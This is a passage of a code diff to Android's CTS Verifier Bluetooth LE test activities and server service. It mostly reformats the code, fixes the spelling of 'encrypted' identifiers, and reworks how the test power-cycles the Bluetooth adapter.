-                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                String logMessage = String.format(
+                        "Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                        previousPassed, mPassed, mPassed ^ previousPassed);
                 Log.d(TAG, logMessage);
             }
 
@@ -435,17 +447,14 @@
 
             if (mPassed == PASS_FLAG_ALL) {
                 Log.d(TAG, "All Tests Passed.");
-                if (shouldRebootBluetoothAfterTest()) {
-                    mBtPowerSwitcher.executeSwitching();
-                } else {
-                    getPassButton().setEnabled(true);
-                }
+                getPassButton().setEnabled(true);
             }
         }
     };
 
     private static final long BT_ON_DELAY = 10000;
     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+
     private class BluetoothPowerSwitcher extends BroadcastReceiver {
 
         private boolean mIsSwitching = false;
@@ -453,7 +462,8 @@
 
         public void executeSwitching() {
             if (mAdapter == null) {
-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+                BluetoothManager btMgr = (BluetoothManager) getSystemService(
+                        Context.BLUETOOTH_SERVICE);
                 mAdapter = btMgr.getAdapter();
             }
 
@@ -476,12 +486,8 @@
             if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
                 int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
                 if (state == BluetoothAdapter.STATE_OFF) {
-                    mHandler.postDelayed(new Runnable() {
-                        @Override
-                        public void run() {
-                            mAdapter.enable();
-                        }
-                    }, BT_ON_DELAY);
+                    mHandler.postDelayed(() ->
+                            invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);
                 } else if (state == BluetoothAdapter.STATE_ON) {
                     mIsSwitching = false;
                     unregisterReceiver(this);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
index 9119aae..4f4e2da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -19,8 +19,6 @@
 import android.app.AlertDialog;

 import android.app.Dialog;

 import android.app.ProgressDialog;

-import android.bluetooth.BluetoothAdapter;

-import android.bluetooth.BluetoothManager;

 import android.content.BroadcastReceiver;

 import android.content.Context;

 import android.content.DialogInterface;

@@ -28,6 +26,8 @@
 import android.content.IntentFilter;

 import android.os.Bundle;

 import android.os.Handler;

+import android.os.Looper;

+import android.os.Message;

 import android.widget.ListView;

 import android.widget.Toast;

 

@@ -39,11 +39,14 @@
 

 public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {

 

+    public static final int DISABLE_ADAPTER = 0;

+

     private TestAdapter mTestAdapter;

     private boolean mPassed = false;

     private Dialog mDialog;

 

     private static final int BLE_CONNECTION_UPDATE = 0;

+    public static final String TAG = BleConnectionPriorityClientBaseActivity.class.getSimpleName();

 

     private static final int ALL_PASSED = 0x1;

 

@@ -57,8 +60,10 @@
         super.onCreate(savedInstanceState);

         setContentView(R.layout.ble_connection_priority_client_test);

         setPassFailButtonClickListeners();

-        setInfoResources(R.string.ble_connection_priority_client_name,

-                R.string.ble_connection_priority_client_info, -1);

+        setInfoResources(

+                R.string.ble_connection_priority_client_name,

+                R.string.ble_connection_priority_client_info,

+                -1);

         getPassButton().setEnabled(false);

 

         mHandler = new Handler();

@@ -117,16 +122,16 @@
     }

 

     private void showErrorDialog(int titleId, int messageId, boolean finish) {

-        AlertDialog.Builder builder = new AlertDialog.Builder(this)

-                .setTitle(titleId)

-                .setMessage(messageId);

+        AlertDialog.Builder builder =

+                new AlertDialog.Builder(this).setTitle(titleId).setMessage(messageId);

         if (finish) {

-            builder.setOnCancelListener(new Dialog.OnCancelListener() {

-                @Override

-                public void onCancel(DialogInterface dialog) {

-                    finish();

-                }

-            });

+            builder.setOnCancelListener(

+                    new Dialog.OnCancelListener() {

+                        @Override

+                        public void onCancel(DialogInterface dialog) {

+                            finish();

+                        }

+                    });

         }

         builder.create().show();

     }

@@ -138,25 +143,31 @@
     }

 

     private void executeNextTest(long delay) {

-        mHandler.postDelayed(new Runnable() {

-            @Override

-            public void run() {

-                executeNextTestImpl();

-            }

-        }, delay);

+        mHandler.postDelayed(

+                new Runnable() {

+                    @Override

+                    public void run() {

+                        executeNextTestImpl();

+                    }

+                },

+                delay);

     }

+

     private void executeNextTestImpl() {

         switch (mCurrentTest) {

-            case -1: {

+            case -1:

+            {

                 mCurrentTest = BLE_CONNECTION_UPDATE;

                 Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

-                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

+                intent.setAction(

+                        BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_START);

                 startService(intent);

                 String msg = getString(R.string.ble_client_connection_priority);

                 Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

-            }

                 break;

-            case BLE_CONNECTION_UPDATE: {

+            }

+            case BLE_CONNECTION_UPDATE:

+            {

                 // all test done

                 closeDialog();

                 if (mPassed == true) {

@@ -177,95 +188,96 @@
         return false;

     }

 

-    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

-        @Override

-        public void onReceive(Context context, Intent intent) {

-            String action = intent.getAction();

-            switch (action) {

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:

-                new AlertDialog.Builder(context)

-                        .setTitle(R.string.ble_bluetooth_disable_title)

-                        .setMessage(R.string.ble_bluetooth_disable_message)

-                        .setOnCancelListener(new Dialog.OnCancelListener() {

-                            @Override

-                            public void onCancel(DialogInterface dialog) {

-                                finish();

+    private BroadcastReceiver mBroadcast =

+            new BroadcastReceiver() {

+                @Override

+                public void onReceive(Context context, Intent intent) {

+                    String action = intent.getAction();

+                    switch (action) {

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:

+                            new AlertDialog.Builder(context)

+                                    .setTitle(R.string.ble_bluetooth_disable_title)

+                                    .setMessage(R.string.ble_bluetooth_disable_message)

+                                    .setOnCancelListener(

+                                            new Dialog.OnCancelListener() {

+                                                @Override

+                                                public void onCancel(DialogInterface dialog) {

+                                                    finish();

+                                                }

+                                            })

+                                    .create()

+                                    .show();

+                            break;

+                        case BleConnectionPriorityClientService

+                                .ACTION_CONNECTION_SERVICES_DISCOVERED:

+                            showProgressDialog();

+                            executeNextTest(3000);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

+                            mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

+                            mPassed = true;

+                            executeNextTest(1000);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

+                            showErrorDialog(

+                                    R.string.ble_bluetooth_mismatch_title,

+                                    R.string.ble_bluetooth_mismatch_secure_message,

+                                    true);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:

+                            showErrorDialog(

+                                    R.string.ble_bluetooth_mismatch_title,

+                                    R.string.ble_bluetooth_mismatch_insecure_message,

+                                    true);

+                            break;

+                        case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:

+                            if (shouldRebootBluetoothAfterTest()) {

+                                mBtPowerSwitcher.executeSwitching();

+                            } else {

+                                getPassButton().setEnabled(true);

                             }

-                        })

-                        .create().show();

-                break;

-            case BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED:

-                showProgressDialog();

-                executeNextTest(3000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_FINISH:

-                mTestAdapter.setTestPass(BLE_CONNECTION_UPDATE);

-                mPassed = true;

-                executeNextTest(1000);

-                break;

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);

-                break;

-            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:

-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);

-                break;

-            case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:

-                if (shouldRebootBluetoothAfterTest()) {

-                    mBtPowerSwitcher.executeSwitching();

-                } else {

-                    getPassButton().setEnabled(true);

+                            break;

+                    }

+                    mTestAdapter.notifyDataSetChanged();

                 }

-                break;

-            }

-            mTestAdapter.notifyDataSetChanged();

-        }

-    };

+            };

 

-    private static final long BT_ON_DELAY = 10000;

     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+

     private class BluetoothPowerSwitcher extends BroadcastReceiver {

 

         private boolean mIsSwitching = false;

-        private BluetoothAdapter mAdapter;

 

-        public void executeSwitching() {

-            if (mAdapter == null) {

-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

-                mAdapter = btMgr.getAdapter();

+        private class BluetoothHandler extends Handler {

+            BluetoothHandler(Looper looper) {

+                super(looper);

             }

 

+            @Override

+            public void handleMessage(Message msg) {

+                switch (msg.what) {

+                    case BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER:

+                        mIsSwitching = false;

+                        getPassButton().setEnabled(true);

+                        closeDialog();

+                        break;

+                }

+            }

+        }

+

+        public void executeSwitching() {

+            mHandler = new BluetoothHandler(Looper.getMainLooper());

             if (!mIsSwitching) {

-                IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);

-                registerReceiver(this, filter);

                 mIsSwitching = true;

-                mHandler.postDelayed(new Runnable() {

-                    @Override

-                    public void run() {

-                        mAdapter.disable();

-                    }

-                }, 1000);

+                Message msg =

+                        mHandler.obtainMessage(

+                                BleConnectionPriorityClientBaseActivity.DISABLE_ADAPTER);

+                mHandler.sendMessageDelayed(msg, 5000);

                 showProgressDialog();

             }

         }

 

         @Override

-        public void onReceive(Context context, Intent intent) {

-            if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

-                int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

-                if (state == BluetoothAdapter.STATE_OFF) {

-                    mHandler.postDelayed(new Runnable() {

-                        @Override

-                        public void run() {

-                            mAdapter.enable();

-                        }

-                    }, BT_ON_DELAY);

-                } else if (state == BluetoothAdapter.STATE_ON) {

-                    mIsSwitching = false;

-                    unregisterReceiver(this);

-                    getPassButton().setEnabled(true);

-                    closeDialog();

-                }

-            }

-        }

+        public void onReceive(Context context, Intent intent) {}

     }

 }

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
index 38cad0f..2483a04 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleEncryptedClientBaseActivity.java
@@ -16,6 +16,8 @@
 

 package com.android.cts.verifier.bluetooth;

 

+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;

+

 import android.app.AlertDialog;

 import android.app.Dialog;

 import android.app.ProgressDialog;

@@ -46,10 +48,10 @@
     private Dialog mDialog;

     private Handler mHandler;

 

-    private final int BLE_WRITE_ENCRIPTED_CHARACTERISTIC = 0;

-    private final int BLE_READ_ENCRIPTED_CHARACTERISTIC = 1;

-    private final int BLE_WRITE_ENCRIPTED_DESCRIPTOR = 2;

-    private final int BLE_READ_ENCRIPTED_DESCRIPTOR = 3;

+    private final int BLE_WRITE_ENCRYPTED_CHARACTERISTIC = 0;

+    private final int BLE_READ_ENCRYPTED_CHARACTERISTIC = 1;

+    private final int BLE_WRITE_ENCRYPTED_DESCRIPTOR = 2;

+    private final int BLE_READ_ENCRYPTED_DESCRIPTOR = 3;

 

     @Override

     protected void onCreate(Bundle savedInstanceState) {

@@ -68,23 +70,28 @@
         listView.setOnItemClickListener(new ListView.OnItemClickListener() {

             @Override

             public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) {

-                Intent intent = new Intent(BleEncryptedClientBaseActivity.this, BleEncryptedClientService.class);

+                Intent intent = new Intent(BleEncryptedClientBaseActivity.this,

+                        BleEncryptedClientService.class);

                 Log.v(getLocalClassName(), "onItemClick()");

                 switch (position) {

-                case BLE_WRITE_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_READ_ENCRIPTED_CHARACTERISTIC:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

-                    break;

-                case BLE_WRITE_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

-                    break;

-                case BLE_READ_ENCRIPTED_DESCRIPTOR:

-                    intent.setAction(BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

-                    break;

-                default:

-                    return;

+                    case BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_CHARACTERISTIC);

+                        break;

+                    case BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_WRITE_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    case BLE_READ_ENCRYPTED_DESCRIPTOR:

+                        intent.setAction(

+                                BleEncryptedClientService.ACTION_READ_ENCRYPTED_DESCRIPTOR);

+                        break;

+                    default:

+                        return;

                 }

                 startService(intent);

                 showProgressDialog();

@@ -172,77 +179,83 @@
         return false;

     }

 

-    public boolean isSecure() { return false; }

+    public boolean isSecure() {

+        return false;

+    }

 

     private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

         @Override

         public void onReceive(Context context, Intent intent) {

             String action = intent.getAction();

             switch (action) {

-            case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

-                showErrorDialog(getString(R.string.ble_bluetooth_disable_title), getString(R.string.ble_bluetooth_disable_message), true);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x01;

-                if (!isSecure()) {

+                case BleEncryptedClientService.INTENT_BLE_BLUETOOTH_DISABLED:

+                    showErrorDialog(getString(R.string.ble_bluetooth_disable_title),

+                            getString(R.string.ble_bluetooth_disable_message), true);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x01;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_CHARACTERISTIC);

-                mAllPassed |= 0x02;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_CHARACTERISTIC:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_CHARACTERISTIC);

+                    mAllPassed |= 0x02;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_WRITE_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x04;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_WRITE_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x04;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

-                mTestAdapter.setTestPass(BLE_READ_ENCRIPTED_DESCRIPTOR);

-                mAllPassed |= 0x08;

-                if (!isSecure()) {

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_ENCRYPTED_DESCRIPTOR:

+                    mTestAdapter.setTestPass(BLE_READ_ENCRYPTED_DESCRIPTOR);

+                    mAllPassed |= 0x08;

                     closeDialog();

-                }

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_no_encrypted_descriptor), false);

-                break;

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_NOT_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_no_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_characteristic), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

-                break;

-            case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

-                showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor), false);

-                break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_write_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_CHARACTERISTIC:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                                    R.string.ble_encrypted_client_fail_read_encrypted_characteristic),

+                            false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_WRITE_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name), getString(

+                            R.string.ble_encrypted_client_fail_write_encrypted_descriptor), false);

+                    break;

+                case BleEncryptedClientService.INTENT_BLE_READ_FAIL_ENCRYPTED_DESCRIPTOR:

+                    showErrorDialog(getString(R.string.ble_encrypted_client_name),

+                            getString(R.string.ble_encrypted_client_fail_read_encrypted_descriptor),

+                            false);

+                    break;

 

-            case BleEncryptedClientService.ACTION_DISCONNECTED:

-                if (shouldRebootBluetoothAfterTest()) {

-                    mBtPowerSwitcher.executeSwitching();

-                } else {

+                case BleEncryptedClientService.ACTION_DISCONNECTED:

                     closeDialog();

-                }

-                break;

+                    break;

             }

 

             mTestAdapter.notifyDataSetChanged();

@@ -254,6 +267,7 @@
 

     private static final long BT_ON_DELAY = 10000;

     private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+

     private class BluetoothPowerSwitcher extends BroadcastReceiver {

 

         private boolean mIsSwitching = false;

@@ -261,7 +275,8 @@
 

         public void executeSwitching() {

             if (mAdapter == null) {

-                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+                BluetoothManager btMgr = (BluetoothManager) getSystemService(

+                        Context.BLUETOOTH_SERVICE);

                 mAdapter = btMgr.getAdapter();

             }

 

@@ -283,12 +298,8 @@
             if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

                 int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

                 if (state == BluetoothAdapter.STATE_OFF) {

-                    mHandler.postDelayed(new Runnable() {

-                        @Override

-                        public void run() {

-                            mAdapter.enable();

-                        }

-                    }, BT_ON_DELAY);

+                    mHandler.postDelayed(() ->

+                            invokeWithShellPermissions(() -> mAdapter.enable()), BT_ON_DELAY);

                 } else if (state == BluetoothAdapter.STATE_ON) {

                     mIsSwitching = false;

                     unregisterReceiver(this);

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index 1cd3093..4d5f4a6 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -84,7 +84,8 @@
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION =
-            "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
+            "com.android.cts.verifier.bluetooth"
+                    + ".BLE_CHARACTERISTIC_WRITE_REQUEST_WITHOUT_PERMISSION";
     public static final String BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_REQUEST_NEED_ENCRYPTED";
     public static final String BLE_CHARACTERISTIC_WRITE_REQUEST_NEED_ENCRYPTED =
@@ -128,7 +129,7 @@
             UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");
     private static final UUID DESCRIPTOR_UUID =
             UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");
-    public static final UUID ADV_SERVICE_UUID=
+    public static final UUID ADV_SERVICE_UUID =
             UUID.fromString("00003333-0000-1000-8000-00805f9b34fb");
 
     private static final UUID SERVICE_UUID_ADDITIONAL =
@@ -299,20 +300,20 @@
         String action = intent.getAction();
         if (action != null) {
             switch (action) {
-            case BLE_ACTION_SERVER_SECURE:
-                mSecure = true;
-                if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
-                    showMessage("Skip MTU test.");
-                    mCountMtuChange = 1;
-                    notifyMtuRequest();
-                    mCountMtuChange = 2;
-                    notifyMtuRequest();
-                    mCountMtuChange = 0;
-                }
-                break;
-            case BLE_ACTION_SERVER_NON_SECURE:
-                mSecure = false;
-                break;
+                case BLE_ACTION_SERVER_SECURE:
+                    mSecure = true;
+                    if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
+                        showMessage("Skip MTU test.");
+                        mCountMtuChange = 1;
+                        notifyMtuRequest();
+                        mCountMtuChange = 2;
+                        notifyMtuRequest();
+                        mCountMtuChange = 0;
+                    }
+                    break;
+                case BLE_ACTION_SERVER_NON_SECURE:
+                    mSecure = false;
+                    break;
             }
         }
 
@@ -333,7 +334,7 @@
         cancelNotificationTaskOfSecureTestStartFailure();
         stopAdvertise();
         if (mGattServer == null) {
-           return;
+            return;
         }
         if (mDevice != null) {
             mGattServer.cancelConnection(mDevice);
@@ -627,7 +628,8 @@
 
     private BluetoothGattService createServiceChangedService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic dummyCharacteristic =
                 new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
@@ -638,15 +640,16 @@
 
     /**
      * Create service for notification test
-     * @return
      */
     private BluetoothGattService createAdditionalNotificationService() {
         BluetoothGattService service =
-                new BluetoothGattService(SERVICE_UUID_ADDITIONAL, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+                new BluetoothGattService(SERVICE_UUID_ADDITIONAL,
+                        BluetoothGattService.SERVICE_TYPE_PRIMARY);
 
         BluetoothGattCharacteristic notiCharacteristic =
                 new BluetoothGattCharacteristic(UPDATE_CHARACTERISTIC_UUID_1, 0x12, 0x1);
-        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID, 0x11);
+        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(UPDATE_DESCRIPTOR_UUID,
+                0x11);
         descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
         notiCharacteristic.addDescriptor(descriptor);
         notiCharacteristic.setValue(NOTIFY_VALUE);
@@ -738,7 +741,8 @@
         descriptor.setValue(WRITE_VALUE.getBytes());
         characteristic.addDescriptor(descriptor);
 
-        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_READ_UUID, 0x10);
+        BluetoothGattDescriptor descriptor_permission = new BluetoothGattDescriptor(
+                DESCRIPTOR_NO_READ_UUID, 0x10);
         characteristic.addDescriptor(descriptor_permission);
 
         descriptor_permission = new BluetoothGattDescriptor(DESCRIPTOR_NO_WRITE_UUID, 0x01);
@@ -749,10 +753,12 @@
         characteristic =
                 new BluetoothGattCharacteristic(CHARACTERISTIC_RESULT_UUID, 0x0A, 0x11);
 
-        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
+        BluetoothGattDescriptor descriptor_encrypted = new BluetoothGattDescriptor(
+                DESCRIPTOR_NEED_ENCRYPTED_READ_UUID, 0x02);
         characteristic.addDescriptor(descriptor_encrypted);
 
-        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, 0x20);
+        descriptor_encrypted = new BluetoothGattDescriptor(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID,
+                0x20);
         characteristic.addDescriptor(descriptor_encrypted);
 
         service.addCharacteristic(characteristic);
@@ -770,11 +776,13 @@
 
         // Registered the characteristic of authenticate (Encrypted) for operation confirmation.
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A, 0x02);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID, 0x0A,
+                        0x02);
         service.addCharacteristic(characteristic);
 
         characteristic =
-                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A, 0x20);
+                new BluetoothGattCharacteristic(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID, 0x0A,
+                        0x20);
         service.addCharacteristic(characteristic);
 
         // Add new Characteristics(Indicate)
@@ -837,7 +845,8 @@
 
         // Add new Characteristics (Service change control)
         BluetoothGattCharacteristic controlCharacteristic =
-                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08,
+                        0x10);
         service.addCharacteristic(controlCharacteristic);
 
         return service;
@@ -892,7 +901,8 @@
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mDevice = device;
                     boolean bonded = false;
-                    Set<BluetoothDevice> pairedDevices = mBluetoothManager.getAdapter().getBondedDevices();
+                    Set<BluetoothDevice> pairedDevices =
+                            mBluetoothManager.getAdapter().getBondedDevices();
                     if (pairedDevices.size() > 0) {
                         for (BluetoothDevice target : pairedDevices) {
                             if (target.getAddress().equals(device.getAddress())) {
@@ -902,7 +912,8 @@
                         }
                     }
 
